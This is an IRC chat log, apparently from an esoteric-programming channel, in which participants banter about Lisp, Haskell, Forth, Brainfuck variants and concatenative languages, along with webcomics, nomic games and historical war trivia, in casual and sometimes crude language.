01:54:21 <pikhq> Erm.
01:54:23 <pikhq> Lisp.
01:54:28 <pikhq> *Lisp* is fairly mundane.
01:54:28 <MissPiggy> haskell is tits
01:54:34 <pikhq> Farking thinkos.
01:59:00 <Quadrescence> pikhq: lisp is genius
01:59:17 <Quadrescence> Haskell is mundane comparatively
01:59:32 <coppro> Haskell is a very different sort of genius
01:59:41 <Quadrescence> No, Haskell isn't genius at all
01:59:47 <Quadrescence> It plays off of the work of previous languages
01:59:53 <Quadrescence> namely Miranda and SML
02:00:07 <Quadrescence> It's like saying that I'm a genius if I write E=mc^2
02:00:22 <Quadrescence> SML gets my genius points
02:00:45 <MissPiggy> haskell is difficult enough that most people who learn it think it's god
02:00:57 <Quadrescence> And what MissPiggy said
02:06:58 <coppro> Originality and genius are not necessarily connected
02:08:22 <lament> the tits, or just tits?
02:08:23 <Quadrescence> In this case they're the same
02:08:46 <Quadrescence> But I appreciate your insight coppro :)
02:09:07 <coppro> Quadrescence: in Lisp's case, I completely agree; it was both genius and original
02:09:10 <lament> haskell is obviously standing on the shoulders of giants
02:09:15 <coppro> right
02:09:38 <lament> you mean both genius and unreadable
02:09:51 <Quadrescence> lament: It's very readable
02:10:03 <Quadrescence> Admittedly, it's more acquired though
02:10:13 <Quadrescence> It's not like python where lol N E 1 CAN REED
02:10:19 <Quadrescence> NO LEARNING REQUIRED
02:10:26 <lament> Quadrescence: if you're repeatedly fucked in the eye socket for years, eventually you learn to tolerate it
02:10:47 <oerjan> !haskell (.)(.) (++) "What" (' ':) "tits?"
02:10:49 <EgoBot> "What tits?"
02:10:49 <lament> lisp pisses me off more than chardonnay
02:10:54 <lament> and chardonnay fucking pisses me off
02:11:02 <Quadrescence> lament: No, honestly, if it's properly indented, it's not bad
02:11:08 <Quadrescence> Also I mean lisps in general, NOT common lisp
02:11:20 <Gregor> For the language implementer it's great, the end user just hands you an AST :P
02:11:23 <Quadrescence> Common lisp is a mess
02:12:16 <lament> Quadrescence: i don't believe you. I looked at Scheme code. I can certainly see that it gets better with practice, but so does everything else, and Lisp after X time spent on practice will still be less pleasant than non-Lisp after X time
02:12:35 <lament> humans work in a certain way which is very much the opposite of what Lisp tries to do.
02:12:49 <Gregor> Even if non-lisp is, in particular, Brainfuck?
02:12:59 <Quadrescence> Gregor: be practical jeez
02:13:03 <Gregor> :P
02:13:51 <Quadrescence> lament: I know what you're saying. I guess I should put it this way: lisp syntax is perfectly suitable for the style of programming it promotes, and trying to replicate this style in other languages would be impossible without sexps
02:14:39 <lament> Quadrescence: duh, obviously. To me this just says the whole style is crap.
02:15:04 <lament> alan perlis, etc.
02:15:12 <pikhq> I prefer Haskell syntax. It actively rewards those who learn it.
02:15:20 <lament> pikhq: with tits.
02:15:26 <MissPiggy> lamentits
02:15:32 <pikhq> lament: Heheh.
02:15:56 <Quadrescence> lament: I think it needs some work. But the style is remarkable. The point is that you can make your own syntax constructs at any time. Programs writing programs writing programs, data is code, etc etc
02:16:06 <lament> MissPiggy: I apologize if my obsession with tits offends you.
02:16:15 <pikhq> Quadrescence: Plof does it better.
02:16:18 <pikhq> :P
02:16:24 <lament> Quadrescence: yeah, it sounds great especially when you just learn about it :D
02:16:30 <Gregor> pikhq: I knew you were going to say that :P
02:16:35 <lament> HOLY SHIT MIND BLOWN
02:16:38 <lament> kind of thing
02:16:39 <pikhq> Gregor: Is true, though.
02:16:45 <Gregor> But of course!
02:17:10 <pikhq> Granted, Plof doesn't have the backing of tons of crazy compilation research to make it efficient.
02:17:12 <lament> Quadrescence: although forth blew my mind more than lisp, even though i learned lisp first
02:17:25 <Quadrescence> Really? Weird
02:17:51 <pikhq> lament: The entire compiler setup *is* mind-blowing, yeah.
02:18:04 <Quadrescence> Forth compilers are really neat, tru dat
02:18:07 <lament> Quadrescence: prolly because lisp is still a language
02:18:09 <MissPiggy> lament forth blew my mind too "How can ANYONE program in this"
02:18:13 <pikhq> Especially when you realise how bloody *simple* it is to do, even in assembly.
02:18:23 <lament> forth is an environment or something
02:18:33 <pikhq> MissPiggy: Same way they do in any other language: abstraction.
02:18:36 <lament> abstraction-creating environment
02:18:47 <lament> bare metal, drunk with power, etc
02:18:51 <lament> tits
02:18:59 <Quadrescence> obligatory http://i.imgur.com/k9YEP.jpg
02:19:04 <pikhq> Forth makes abstraction cheap.
02:19:20 <lament> yes exactly
02:19:22 <pikhq> If you're willing to make the abstraction, of course.
02:19:23 -!- FireFly has quit (Quit: Leaving).
02:19:24 <lament> that picture says all really
02:20:00 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
02:20:16 <Quadrescence> FORTRAN makes abstraction cheap L O L
02:20:41 <Gregor> I do wish I could have made Plof taste a bit more like Forth in some ways.
02:20:45 <Gregor> Not too much though.
02:20:53 <Gregor> Sort of a "Forth with syntax" would be nice :P
02:21:05 <Gregor> (Except not)
02:21:16 <pikhq> Gregor: Well, you did get part of the way there already.
02:21:36 <Quadrescence> Gregor: i don't know anything about plawf plz link me
02:21:41 <pikhq> Still, there is rather a lot of work going into the PUL, compared with Forth.
02:21:44 <Gregor> http://plof.codu.org/
02:21:47 <pikhq> Quadrescence: http://plof.codu.org
02:23:16 <Quadrescence> this LaTeX for the standard needs some work
02:23:17 <Quadrescence> ^______________^
02:23:44 <Gregor> Yes, it does, it was nastily converted from OpenOffice at some point :P
02:24:16 <Gregor> Besides, it changes too often for me to focus on the spec rather than the actual design.
02:24:19 <Quadrescence> lament is a latexpert
02:24:28 <pikhq> I've been too lazy to do it right.
02:24:35 * pikhq <3 \latex
02:24:54 <coppro> Amazingly, the LaTeX still looks somewhat good
02:25:25 <Quadrescence> coppro: actually it looks pretty bad but whatever :(
02:25:56 <coppro> Quadrescence: it's bad for LaTeX
02:26:06 <Quadrescence> period, end of story
02:26:16 <pikhq> Which is still better than everything else. :P
02:26:25 <coppro> but LaTeX starts on top of the heap
02:26:40 <dev_squid> So...
02:26:48 <Gregor> I converted it to LaTeX to have room to expand upwards in quality, I just haven't really done that yet :P
02:26:50 <Quadrescence> Just because you're better than the entire retarded population, doesn't mean you're good
02:26:51 <Quadrescence> :)
02:27:22 <Quadrescence> Gregor: Oh, please don't take my comments about the latex negatively. I realize it can get better. I am just saying it's mediocre at the moment
02:27:24 -!- supperrfreek has joined.
02:27:29 <Quadrescence> Maybe I'll be so nice and make the latex beautiful
02:27:47 <Gregor> Quadrescence: I realize it is, I just don't care that much because my focus isn't the code of the spec, it's the language itself :P
02:28:07 <Quadrescence> I guess I care but that's just because I'm weird and like typography
02:29:34 <Gregor> Anyway, I would appreciate comments on Plof the language more than comments on Plof's specification :P
02:29:36 <pikhq> Most of us do -- note that we learn LaTeX.
02:29:42 <pikhq> :P
02:30:06 <Quadrescence> Gregor: Maybe I'll go through the spec thoroughly.
02:30:19 <Quadrescence> I have been known to be an expert in language design and implementation.
02:30:24 -!- supperrfreek has left (?).
02:33:34 * Sgeo_ is an expert at giving up because no one else cares.
02:33:41 <Gregor> He's a supper freak, supper freak, he's supper freaky.
02:34:05 <pikhq> Sgeo_: Hoot.
02:37:36 <Sgeo_> http://www.stationv3.com/d/20090313.html
02:40:02 <Gregor> Does Station V3 run on Unix V3?
02:41:44 <Sgeo_> If Unix V3 is obsolete junk made by incompetents that tends to cause the generator to fail and the security system to grab everyone and throw them out, probably
02:50:51 -!- MissPiggy has quit (Quit: Lost terminal).
02:56:19 <Sgeo_> "Today's guest strip is from my left hand"
03:19:17 -!- dev_squid has quit (Ping timeout: 246 seconds).
03:38:29 -!- dev_squid has joined.
03:44:07 * Sgeo_ still can't get used to Neap and Morty talking.
03:46:18 <Gregor> (Neap and Morty being Sgeo_'s pet gerbils)
03:46:29 <Sgeo_> lol
03:55:32 -!- coppro has quit (Read error: Connection reset by peer).
03:55:51 * Sgeo_ wants to see Floyd's body again
03:58:21 -!- coppro has joined.
03:58:29 <Sgeo_> wb
04:14:44 <Gregor> (Floyd being Sgeo_'s on-again-off-again gay lover)
04:15:17 <Sgeo_> Floyd being the robot in http://www.stationv3.com/d/20091202.html
04:16:01 * oerjan sees no contradiction in those two statements
04:16:26 <Gregor> oerjan: Sgeo_ was just further clarifying.
04:16:41 <oerjan> ah.
04:37:31 <uorygl> Sgeo_: Floyd died?
04:37:44 <Sgeo_> No
04:37:49 <Sgeo_> He's just bodyless
04:38:06 <uorygl> Whew. I was hoping this would actually make sense.
04:38:10 <Sgeo_> Although the universe did end.
04:38:19 <uorygl> Yeah, I kinda remember that, slightly.
04:38:27 <uorygl> I saw the most recent strip recently.
04:38:38 <uorygl> Hmm. I suddenly want to reread El Goonish Shive.
04:38:44 * Sgeo_ is now in February of this year
04:38:45 <uorygl> Because rereading the whole thing is the best way to catch up.
04:39:01 <uorygl> Unfortunately, that would take a really long time, and I don't have much time.
04:39:04 <uorygl> I'm a very busy man!
04:39:08 * Sgeo_ will soon have read the entire archive, not counting the bonus strips, of Station V3
04:39:09 <uorygl> Or so I've declared myself.
04:39:26 <Sgeo_> Instead of studying, working on an important project, writing a rebuttal
04:39:29 <Sgeo_> Or anything else
04:39:45 <coppro> uorygl: not to mention that you will realize how bad the art was originally and try to stab your eyes out
04:40:01 <uorygl> See, Sgeo_, this is why we take only one class per semester.
04:40:12 <uorygl> It gives us time to do the important things.
04:40:23 <uorygl> coppro: I already want to stab my eyes out just thinking about it.
04:40:25 <Sgeo_> Studying's the only thing in the list that has to do with college
04:40:35 <uorygl> Oh, whew.
04:40:40 <uorygl> What's your important project?
04:41:01 <Sgeo_> It's "classified"
04:41:05 <uorygl> Oh.
04:41:13 <Sgeo_> Which means I've been talking about it here incessantly
04:41:46 <coppro> lol
04:41:50 <uorygl> If it's Normish-related, abandon it and join #sxmc so you can help me with my... also classified project.
04:49:10 <uorygl> So, Sgeo_, as you were saying...
04:49:53 <Sgeo_> uorygl, look up mentions that I may have made about C#
05:23:54 -!- oerjan has quit (Quit: leaving).
06:00:28 -!- adu has quit (Read error: Connection reset by peer).
06:00:53 -!- adu has joined.
06:16:50 -!- uorygl has quit (Read error: Connection reset by peer).
06:17:10 -!- uorygl has joined.
06:18:38 -!- uorygl has quit (Read error: Connection reset by peer).
06:20:25 <dev_squid> Guys.
06:20:27 <dev_squid> Anyone here?
06:20:45 <pikhq> Never.
06:21:11 <dev_squid> Okay, well I came up with an idea for an ugly esolang called Nibble.
06:21:27 <dev_squid> Here are my notes: http://pastie.org/849378
06:21:29 <dev_squid> :|
06:22:09 -!- uorygl has joined.
06:23:25 -!- uorygl has quit (Read error: Connection reset by peer).
06:24:11 <dev_squid> There's a few things I forgot to mention in there so it's okay if it makes no sense whatsoever.
06:27:09 -!- uorygl has joined.
06:30:02 <dev_squid> Whatcha think?
06:40:19 -!- adu has quit (Quit: adu).
06:42:44 -!- adu has joined.
06:42:46 -!- adu has quit (Client Quit).
06:46:50 <dev_squid> Eh?
06:47:52 <coppro> This channel is dead. Please cast a resurrection spell/reboot the server/pray to the gods/start the daemon/plug the channel in/start the devil.
06:49:59 -!- angstrom has quit (Quit: leaving).
06:55:25 <dev_squid> Nice.
06:57:44 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:00:56 -!- tombom has joined.
07:03:08 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
07:29:07 <dev_squid> Question.
07:29:21 <dev_squid> Is CoreWar still around?
07:29:27 <dev_squid> i.e. popular?
07:52:21 -!- coppro has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:54:21 <dev_squid> I have a question.
09:00:33 -!- scarf has joined.
09:13:29 <scarf> wow, the Chile earthquake actually made a measurable change to the Earth's rotation
09:13:44 <scarf> days are now 1.26 µs shorter than they were before
09:14:42 <fizzie> And that tsunami quake few years ago shortened them by 6.8 µs. (I happened to be reading the same bit of news at the same time.)
09:16:04 <puzzlet> all of these just to reduce angular momentum by itself?
09:16:22 <scarf> shorter days implies a faster angular momentum
09:16:33 <scarf> although it could also happen due to a change in rotation speed around the sun
09:17:53 <puzzlet> i mean reduce moment of inertia
09:18:04 <scarf> ah, apparently it sped up because the Earth became denser towards the centre and less dense towards the crust as a result
09:19:05 <fizzie> The news article I happened to be reading does note something vague about there being regular larger changes in day-length "due to other causes, such as atmospheric mass moving around on Earth".
09:19:35 <scarf> tidal forces apparently have the largest day-to-day effect
09:19:52 <scarf> it apparently takes 100 days of the Moon going round in circles to produce a similarly-sized change to the earthquake
09:20:22 <fizzie> Yes. That's clearly bad design. A responsible Intelligent Designer would've made things much more orderly.
09:23:19 <fizzie> The word-pair "combat-wombat" keeps going round my head.
09:30:08 <dev_squid> Ohai, gaiz.
09:30:34 <dev_squid> How do you like my idea for a universal brainfuck entension? (http://pastie.org/849477)
09:32:30 <dev_squid> It mimics ideas from pbrain, brainstack, fukyorbrane and some others, but I came up with the data indirection and thought it was pretty neat.
09:32:37 <dev_squid> But it's centralized.
09:35:16 -!- lereah_ has joined.
09:35:28 * scarf looks
09:35:58 <scarf> :;@ work as in fukyourbrane?
09:36:10 <scarf> actually, looks like @ terminates a procedure if it's in one, or a thread if it isn't
09:36:37 <scarf> also, -126 to 127 is a weird range, you probably meant -128 to 127
09:37:46 -!- MissPiggy has joined.
09:42:07 <dev_squid> Yep.
09:42:13 <dev_squid> I sure did. Meh.
09:43:23 <dev_squid> I'd love to implement C-style functions, especially if it had stack support. :)
09:48:02 <dev_squid> So do you like it?
09:51:12 <scarf> it seems reasonable; we get a lot of BF variants of that sort
09:51:20 <scarf> if you can create a compiler from that to regular BF, it would be even more interesting
09:52:41 <dev_squid> Fixed it up. (http://pastie.org/849497)
09:52:45 <dev_squid> Sure would.
09:54:55 <dev_squid> Yerp. I've just never seen one that implemented basic features like this without going overboard. I believe it's still minimal, yet powerful.
09:57:12 <scarf> have you seen Modular SNUSP?
09:58:02 <scarf> http://esolangs.org/wiki/SNUSP
09:58:07 <scarf> it might be interesting to look at for ideas
09:58:13 <coppro> we should just compile LLVM bitcode to BF; at that point you're golden
10:01:11 <dev_squid> Interesting.
10:02:19 <dev_squid> You know what? I've yet to see a BF derivative implement C-compliant functions with stack support.
10:02:23 <dev_squid> Maybe Crainfuck.
10:03:11 <MissPiggy> I have seen that
10:03:26 <MissPiggy> you just host brainfuck inside C
10:03:42 <coppro> I think LLVM -> BF would be the crowning moment in esoteric glory.
10:03:44 <MissPiggy> then you can use whichever is most appropriate for the task
10:07:16 -!- dev_squid has quit (Ping timeout: 276 seconds).
10:27:46 <augur> jesus fucking christ
10:27:54 <MissPiggy> hi augur
10:27:55 <augur> wipeout fusion's tethys league is impossible
10:28:07 <MissPiggy> are you feeling wiped out by it?
10:28:29 <augur> im feeling pissed is what im feeling
10:28:38 <augur> i feel like the computer is cheating
10:30:13 <MissPiggy> you have turned me into jesus
10:40:21 <augur> what XD
10:41:53 <MissPiggy> :)
10:44:01 -!- Gregor has quit (Ping timeout: 264 seconds).
11:08:37 -!- alise has joined.
11:10:36 <alise> Bleh. I'm all uncomfortable.
11:11:12 <alise> scarf: "If it's Normish-related, abandon it" -- uorygl
11:11:24 <alise> sure am glad I didn't rely on it for anything serious :^)
11:11:26 <scarf> ugh
11:11:45 <alise> 01:13:44 <scarf> days are now 1.26 µs shorter than they were before
11:11:45 <alise> 01:14:42 <fizzie> And that tsunami quake few years ago shortened them by 6.8 µs. (I happened to be reading the same bit of news at the same time.)
11:11:45 <alise> wow
11:11:47 <scarf> and I operate under the assumption that Normish is likely to go offline at any moment
11:11:58 <alise> 20:40:40 <uorygl> What's your important project?
11:11:58 <alise> 20:41:01 <Sgeo_> It's "classified"
11:11:58 <alise> 20:41:05 <uorygl> Oh.
11:11:59 <alise> 20:41:13 <Sgeo_> Which means I've been talking about it here incessantly
11:11:59 <alise> 20:41:46 <coppro> lol
11:11:59 <alise> 20:41:50 <uorygl> If it's Normish-related, abandon it and join #sxmc so you can help me with my... also classified project.
11:12:02 <alise> So it's not quite Normish-is-over.
11:12:08 <alise> But it's obviously I-have-a-shiny-new-project-now-Normish-sux.
11:12:29 <scarf> normish, in the end, effectively became a server for helping with nomic things
11:12:36 <scarf> it hosts loggic and blognomicbot, for instance
11:12:54 <alise> over ten years the difference in earth's rotation
11:12:57 <alise> we'll have lost 0.08ms
11:13:24 <alise> blognomicbot?
11:13:38 <scarf> alise: a bot that hangs out in BlogNomic's IRC channel
11:13:43 <alise> Doing?
11:13:58 <scarf> mostly for doing ChanServ duties when ChanServ goes insane, but it also counts votes, and copies the topic and user list to the blognomic server
11:14:36 <scarf> also, prevents the channel being dropped due to lack of active ops)
11:14:39 <scarf> s/\)//
11:15:07 <alise> counts votes on what? like !voteon Excellence mogriband?
11:15:30 <alise> also, as you know the entirety of my current situation - do you think it's irresponsible to reregister for Agora? As in, for who-knows-what-will-happen reasons.
11:15:45 <alise> I find it quite likely that the unit is not over yet.
11:16:10 <scarf> alise: once a week should probably be enough, although it's not quick enough to catch without-objection
11:16:25 <scarf> however, given that contracts were repealed, you can normally rely on someone else to object for you
11:16:39 <alise> Ah, I just meant as in neglecting any obligations or whatever
11:16:52 <scarf> you can avoid taking on obligations that you can't fulfil easily enough
11:17:09 <alise> I don't particularly want to play if I'm still fighting the unit, so I'd probably inactivate if it starts again.
11:17:12 <alise> Is the point.
11:17:57 <scarf> it's pretty quiet atm
11:18:16 <scarf> we repealed most of the interesting rules, presumably this would be a good time to create more
11:18:31 <scarf> although there's been an intriguing discussion about whether the IBA still exists, given that contracts have been repealed
11:18:44 <alise> Well, if there's nothing interesting to do...
11:19:09 <alise> What's RtRW?
11:19:46 <scarf> read the ruleset week, first week of february
11:20:19 <alise> ah
11:20:25 * alise sees a genius idea on reddit
11:20:34 <alise> if a government has national debt, they should just bail themselves out
11:20:44 <MissPiggy> o_o
11:20:51 <alise> :D
11:21:35 <scarf> and charge interest!
11:25:09 <alise> has agora been without contracts before?
11:25:14 <alise> I'm pretty sure they've been around for almost all time...
11:25:20 <alise> (that is, after their first introduction)
11:26:34 <scarf> no idea; I wonder if they were continuously there between the whole SLC mess (years ago) and modern contracts?
11:29:48 <alise> SLC mess? Haven't heard of that one.
11:29:58 <alise> scarf: Regardless, I doubt it's been without them for more than weeks before.
11:30:04 <alise> They've been the backbone of Agora for how long?
11:30:20 <scarf> the power system has been the backbone ever since it was invented
11:30:30 <scarf> contracts have just been a fun thing to mess around with
11:30:33 <alise> Nah, that's just a safeguard.
11:30:41 <alise> The actual non-nomic gameplay, I mean.
11:30:46 <alise> (Most people like that stuff.)
11:38:07 <alise> scarf: Logicnomic!
11:38:14 <alise> You win if you prove a contradiction.
11:38:34 <alise> Formallogicnomic, I should say.
11:38:48 <scarf> thus proving the entire ruleset inconsistent?
11:39:05 <alise> exactly (but there's a metaruleset that says that the game restarts in a certain way after)
11:39:15 <alise> presumably with the contradiction eliminated somehow
11:41:22 <scarf> meh, just have it end after someone wins
11:41:26 <scarf> some nomics have actually ended like that
11:41:31 <scarf> then you can start a new one
11:41:43 <scarf> hmm... /me wonders at lea being used for addition
11:41:46 <alise> but everyone would be trying to subtly introduce contradictions all the time
11:41:50 <scarf> it makes sense on some level, but not on another level
11:41:52 <alise> so i imagine the turnover would be quite high
11:48:18 <fizzie> Given that x86's add (and so many other ops) have the target register fixed to be one of the operands, the popularity of some lea-trickery is not very surprising.
11:48:57 <scarf> it's more a case of, why have two addition instructions which use utterly different syntax?
11:50:10 <fizzie> Yes, I guess it only makes sense if you think about it on the implementation level. (Where you have this pile of logic ready for all kinds of addressing modes, and it's easy to make an instruction that just reads the computed address into a register.)
11:53:42 <scarf> gcc-bf, incidentally, uses lea for pointer computations and add for integer computations
11:53:52 <scarf> pointers and integers are stored utterly different ways, so it makes sense to have two commands
11:54:57 <fizzie> Your "hardware" there is a bit on the strange side, though.
11:58:09 <fizzie> On x86-64 you "need" lea to turn IP-relative offsets into real pointers (if you need to pass it to somewhere, for example), since you can't add the RIP register normally -- it's not general-purpose enough -- but you can LEA reg, [rel offset].
12:03:08 <MissPiggy> alise
12:03:11 <MissPiggy> http://www.inc.com/magazine/20100301/lets-take-this-offline.html
12:03:44 <alise> Joel Spolsky? My bullshit filter just turned up to maximum while the page is loading.
12:04:36 <alise> 503 Service Temporarily Unavailable
12:05:06 <alise> Loaded now.
12:05:18 <alise> Blogging is holding you back? Excellent! Less shit for me to ignore.
12:06:05 <scarf> wow, I've never seen a picture of Joel Spolsky before
12:06:09 <scarf> I didn't realise he looked so smug
12:06:12 <alise> Blog blog you startup masturbate you rock blog huh??? you're WRONGGG nobody cares (oh the irony) BLOG PROPER SHITTERS not worth it lol too much work it's the OVERRRRRRRRRRRR
12:06:21 <alise> ^ summary
12:06:42 <alise> The only thing worse than a Joel Spolsky is a Joel Spolsky & Jeff Atwood.
12:06:49 <alise> (Which is also the only thing worse than a Jeff Atwood.)
12:06:58 <alise> Okay, okay, maybe Spolsky is /marginally/ better than Atwood.
12:06:59 <scarf> which of spolsky & attwood is the one that's at least half-competent?
12:07:06 <alise> Spolsky. Atwood is the codinghorror dude.
12:08:01 <alise> lol wut, apparently north and south korea are still technically at war and have been since 1950
12:08:56 <MissPiggy> he looks retarded
12:09:16 <MissPiggy> I don't mean that in a nasty way just that normal people don't smile in that way
12:10:01 <scarf> alise: they still have weapons pointed at each other
12:10:05 <MissPiggy> I thought it was amusing that he blogged about quitting blogging, and that he gave some tips on how to write a good blog, one of which was: Give tips on how to do X rather than just announcing some event/product/whatever
12:10:11 <scarf> the issue is, neither dares fire, because then the other would fire and they'd both be wiped out
12:10:14 <Quadrescence> wow MissPiggy u r mean
12:10:33 <alise> scarf: yeah but i mean they never actually got around to ending the korean war after stopping all those killing dealies :P
12:10:53 <scarf> they're still at war, it's just a cold war now
12:11:06 <alise> Is it the same war as the Korean War, though?
12:11:14 <scarf> apparently, the south koreans have been dropping informative pamphlets over north korea
12:11:32 <scarf> and the north koreans mostly don't pick them up because the propaganda machine has convinced many of them their hands will drop off if they try
12:12:05 <alise> :-D
12:12:11 <MissPiggy> Joel Spolsky is the Nickelback of computing.
12:12:19 <alise> Kim Jong-il is hilarious
12:12:35 <alise> (If I didn't consider it the best comedy ever created I'd just be depressed)
12:12:42 <alise> I am /convinced/ they are filming all this
12:12:48 <alise> For surveillance? No, for syndication!
12:13:04 <fizzie> There's a bit related but not the same extended-war list at http://en.wikipedia.org/wiki/List_of_wars_extended_by_diplomatic_irregularity
12:13:20 <alise> 431 BC404 BC1994
12:13:22 <alise> now /that/ is impressive
12:13:33 <alise> 1994? This. Is. SPARTA!
12:14:22 <scarf> that first one is ridiculous
12:14:26 <scarf> and possibly not even true
12:14:48 <alise> Shut up! I want to believe it!
12:15:10 <scarf> 335 years for the Dutch Republic vs. the Isles of Scilly is still impressive, though
12:15:14 <scarf> and presumably that one's verifiable
12:15:32 <fizzie> The second one is almost equally ridiculous and even has a citation -- did not check what sort of.
12:15:45 <alise> ^ Saudi Aramco World, (bottom of page)
12:15:48 <alise> http://www.saudiaramcoworld.com/issue/198503/delenda.est.carthago.htm
12:15:50 <alise> Some magazine
12:15:56 <alise> When Carthage and Rome finally signed a peace treaty - in February 1985 - Ugo Vetere, the mayor of Rome, seemed deeply moved by the still existing traces of the catastrophe at Carthage - which he described as "blackened by fire." The catastrophe, he said, "... should be regarded, not just with curiosity, or with a love for archeology, but... with the eyes of those who wish for and... work for peace today."
12:16:15 <alise> Furthermore, it is my opinion that Carthage must be destroyed.
12:16:27 <scarf> also, allegedly one of the peace treaties for the World War was typed backwards
12:16:32 <alise> what
12:16:33 <scarf> due to an accident with putting in carbon paper in the dark
12:16:36 <scarf> and nobody noticed at the time
12:16:43 <alise> didn't they ... read it?
12:16:47 <scarf> so it ended up being typed on the back of the sheet of paper
12:16:52 <scarf> alise: I'm not sure I believe it myself
12:16:54 <alise> :D
12:17:05 <scarf> the urban legend goes that it was dark at the time, and so nobody saw it until later
12:17:25 <alise> "At the time World War II was declared over, there was no single German state that all occupying powers accepted as being the sole representative of the former Reich. Therefore the war technically did not finish until the country was reunified."
12:18:11 <alise> Andorra vs German EmpireWorld War I191419181958[6]Andorra was not invited to the Treaty of Versailles.
12:18:14 <alise> Fuck you, Andorra
12:18:26 <alise> "Montenegro declared war in support of Russia but this was merely a gesture as Montenegro lacked a navy or any other means to engage Japan."
12:18:28 -!- FireFly has joined.
12:19:22 <alise> [[Nevertheless, reportedly in 1966 a Soviet official waited upon the Mayor of Berwick, Councillor Robert Knox, and a peace treaty was formally signed. Knox is reputed to have said "Please tell the Russian people that they can sleep peacefully in their beds."]]
12:19:40 <scarf> alise: that's also apparently a rumour; at least, snopes.com tried to find evidence of that but couldn't
12:19:43 <scarf> it's a fun story though
12:19:45 <alise> [[To complicate the issue, some have noted that Knox did not have any authority with regard to foreign relations, and thus may have exceeded his powers as mayor in concluding a peace treaty.]]
12:19:46 <alise> AAAAAAAAAAAAAAAAAAAAAAAAA
12:19:56 <alise> scarf: the whole signing, or the saying?
12:20:14 <scarf> both, IIRC
12:21:45 -!- augur has quit (Ping timeout: 248 seconds).
12:21:52 <alise> aw
12:26:27 <scarf> I can't find any references to that backwards-treaty thing on Wikipedia or Snopes, not even as debunked rumours
12:26:32 <scarf> so I have no idea where I heard it from
12:28:38 <Quadrescence> hey i have an idea for an esolang
12:29:12 <Quadrescence> here it is: basically everything you type is either pushed onto a stack or applied to a stack, so 1 1 + would push 1 then 1 then apply + and everything follows these rules
12:29:16 <Quadrescence> IS THIS A GOOD IDEA?
12:30:15 <scarf> Quadrescence: concatenative langs!
12:30:20 <scarf> yes, it is
12:30:28 <scarf> http://esolangs.org/wiki/Underload is a bit like that
12:30:40 <scarf> which was my attempt to reduce concatenativeness to a tarpit
12:30:51 <scarf> and there are some "real" languages which work like that too
12:31:05 <alise> See: Joy, Factor, ("almost" Forth) Cat, Underload, ...
12:31:24 <alise> Congratulations: you're intelligent enough to independently invent concatenative languages.
12:31:40 -!- BeholdMyGlory has joined.
12:32:18 <alise> http://en.wikipedia.org/wiki/Kim_Il-sung_University I'm surprised this even _exists_
12:32:41 <alise> and wtf do they teach in history? Or philosophy? Government? Economics? Law? :P
12:32:52 <alise> I wonder how much of their sciences just happen to /conveniently/ tie in with Juche...
12:33:01 <Quadrescence> scarf: I was kidding
12:33:07 <Quadrescence> it's pretty much the worst idea ever
12:33:16 <scarf> why?
12:33:19 <Quadrescence> idk
12:33:27 <scarf> you can even do control flow like that
12:33:30 <alise> Strong intellectual bent in this one I see
12:33:37 <Quadrescence> Only if you have quotations
12:33:44 <scarf> well, yes
12:33:45 <Quadrescence> like fagtor does
12:33:50 <alise> "Fagtor".
12:33:53 <alise> Wow, just go away now.
12:33:55 <Quadrescence> Factor*
12:34:02 <alise> Oh come on, that was clearly intentional
12:34:03 <scarf> actually, I think alise invented a variation which didn't need them directly
12:34:09 <alise> scarf: Well, with your help.
12:34:17 <Quadrescence> alise: Hey, I've been to slava's house before
12:34:20 <alise> I formulated the language, you proved that it was equivalent (ignoring IO).
12:34:26 <Quadrescence> and did some bignum stuff for factor
12:34:29 <Quadrescence> so don't be hatin'
12:34:38 <Quadrescence> then he moved to NZ
12:35:07 <alise> with his gigantic pile of profit from Factor
12:35:27 <scarf> ^ul (!())(~(:)~*(*)*:(*)~^S~(/)S:^):^
12:35:27 <fungot> */**/***/****/*****/******/*******/********/*********/**********/***********/************/*************/**************/***************/****************/*****************/******************/*******************/********************/*********************/**********************/***********************/************************/ ...too much output!
12:35:35 <scarf> and I just wrote that off the top of my head
12:35:51 <Quadrescence> alise: His profit seemed to be spent on large mac displays and stuff
12:35:59 <alise> Don't forget the Mac Pro.
12:36:00 <Quadrescence> and macbooks
12:36:05 <Quadrescence> yeah
12:36:11 <alise> I doubt he actually profits from Factor though :P
12:36:16 <Quadrescence> I doubt it too
12:36:21 <Quadrescence> his place was pretty dumpy
12:36:40 <Quadrescence> but he makes good блины
12:36:46 <alise> wonder what his day jorb is
12:37:05 <alise> Quadrescence: you could have just said "pancakes"
12:37:15 <alise> even though I can type google.com/translate_t in about 0.5 seconds by now
12:37:38 <Quadrescence> alise: No
12:37:42 <Quadrescence> They are not the same
12:38:01 <Quadrescence> It is a rough /American/ translation but they are not at all the same
12:39:27 <alise> Quadrescence: have you been here before under another nick?
12:40:13 <Quadrescence> alise: No
12:40:20 <alise> ok, under the same nick?
12:40:22 <alise> I vaguely recognise you
12:41:18 <Quadrescence> Same nick
12:41:28 <Quadrescence> You might have seen me in other channels
12:41:33 <Quadrescence> scarf: it's 6:30 AM
12:41:34 <alise> hmm... maybe... how long ago?
12:41:39 <Quadrescence> alise: I don't know.
12:41:43 <alise> no, it's 12:41 am
12:41:49 <Quadrescence> [06:38.01] * Received a CTCP TIME from scarf
12:42:11 <scarf> your clock is 3 minutes slow, unless you're in a UTC-6:03 timezone
12:42:20 <alise> :-D
12:42:54 <Quadrescence> It is indeed 3 minutes slow
12:49:24 -!- augur has joined.
12:50:07 <Quadrescence> good morning augur
12:50:15 <augur> moin
12:51:25 <alise> Technical discussion about antelopes.
13:09:43 <Quadrescence> The ant elopes with his fellow queen.
13:31:59 <alise> #usys sure is lonely
13:32:05 <alise> <_< >_>
13:33:34 -!- asiekierka has joined.
13:33:35 <asiekierka> hi alise
13:33:40 <asiekierka> hmm, what should i destroy today
13:33:40 <alise> Hi.
13:33:40 <asiekierka> `ls
13:33:45 <alise> Yourself.
13:33:45 <alise> :P
13:33:46 <asiekierka> i said
13:33:47 <asiekierka> `run ls
13:33:47 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.15927
13:33:49 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.15957
